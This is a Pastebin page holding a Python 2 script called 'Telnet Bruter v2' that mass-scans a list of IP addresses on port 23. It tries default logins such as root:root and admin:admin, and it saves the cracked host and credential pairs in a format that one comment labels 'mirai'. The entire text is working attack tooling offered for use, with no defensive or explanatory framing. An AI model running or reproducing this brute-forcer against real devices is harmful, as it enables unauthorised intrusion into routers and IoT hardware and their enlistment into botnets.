Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # Telnet Bruter v2
- # Dr.L0v3
- import threading, sys, os, re, time, socket
- from Queue import *
- from sys import stdout
- if len(sys.argv) < 4:
- print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"
- sys.exit()
- ips = open(sys.argv[1], "r").readlines()
- threads = int(sys.argv[2])
- output_file = sys.argv[3]
- queue = Queue()
- info = ["root:jauntech", "root:root", "admin:admin"]
- queue_count = 0
- for ip in ips:
- queue_count += 1
- stdout.write("\r[%d] Added to queue" % queue_count)
- stdout.flush()
- queue.put(ip)
- print "\n"
- def readUntil(tn, string, timeout=8):
- buf = ''
- start_time = time.time()
- while time.time() - start_time < timeout:
- buf += tn.recv(2048)
- time.sleep(0.01)
- if string in buf: return buf
- raise Exception('TIMEOUT!')
- def w():
- try:
- while True:
- try:
- IP = queue.get()
- st4rt = brute(IP)
- st4rt.start()
- queue.task_done()
- time.sleep(0.2)
- except:
- print "[*] THREAD UNABLE TO START" #may spam if finished
- pass
- except:
- pass
- class brute(threading.Thread):
- def __init__ (self, ip):
- threading.Thread.__init__(self)
- self.ip = str(ip).rstrip('\n')
- def run(self):
- end = 0
- while (end == 0):
- try:
- try:
- tn = socket.socket()
- tn.settimeout(8)
- tn.connect((self.ip,23))
- except Exception:
- end = 1
- tn.close()
- username = "x"
- password = "x"
- trys = 0
- for passwd in info:
- if ":n/a" in passwd:
- password=""
- else:
- password=passwd.split(":")[1]
- if "n/a:" in passwd:
- username=""
- else:
- username=passwd.split(":")[0]
- try:
- hoho = ''
- hoho += readUntil(tn, "ogin")
- if "ogin" in hoho:
- tn.send(username + "\n")
- trys += 1
- time.sleep(0.09)
- elif "sername" in hoho:
- end = 1
- tn.close()
- elif "User Access" in hoho:
- end = 1
- tn.close()
- else:
- end = 1
- tn.close()
- except Exception:
- end = 1
- tn.close()
- try:
- hoho = ''
- hoho += readUntil(tn, "assword")
- if "assword" in hoho:
- tn.send(password + "\n")
- time.sleep(0.3)
- except Exception:
- end = 1
- tn.close()
- try:
- prompt = ''
- prompt += tn.recv(9999)
- if "Information" in prompt or "ncomplete" in prompt or "not exist." in prompt or "ailed" in prompt or "try" in prompt or "enied" in prompt or "rong" in prompt or "Access" in prompt or "ailure" in prompt or "ncorrect" in prompt or "nvalid" in prompt or "again" in prompt:
- prompt = ''
- if "%" in prompt or "$" in prompt or "#" in prompt or ">" in prompt:
- print "[!] FOUND LOGIN %s! Attempts: %s"%(self.ip, trys)
- #os.system("echo "+self.ip+" >> "+output_file+"") #1.1.1.1 # bios.txt
- #os.system("echo "+self.ip+":"+username+":"+password+" >> "+output_file+"") # 1.1.1.1:user:pass # regular
- os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
- tn.close()
- end = 1
- else:
- pass
- except Exception:
- end = 1
- tn.close()
- except:
- pass
- for l in xrange(threads):
- try:
- t = threading.Thread(target=w)
- t.start()
- time.sleep(0.01)
- except:
- print "[-] FAILED TO START WORKER THREAD"
- pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement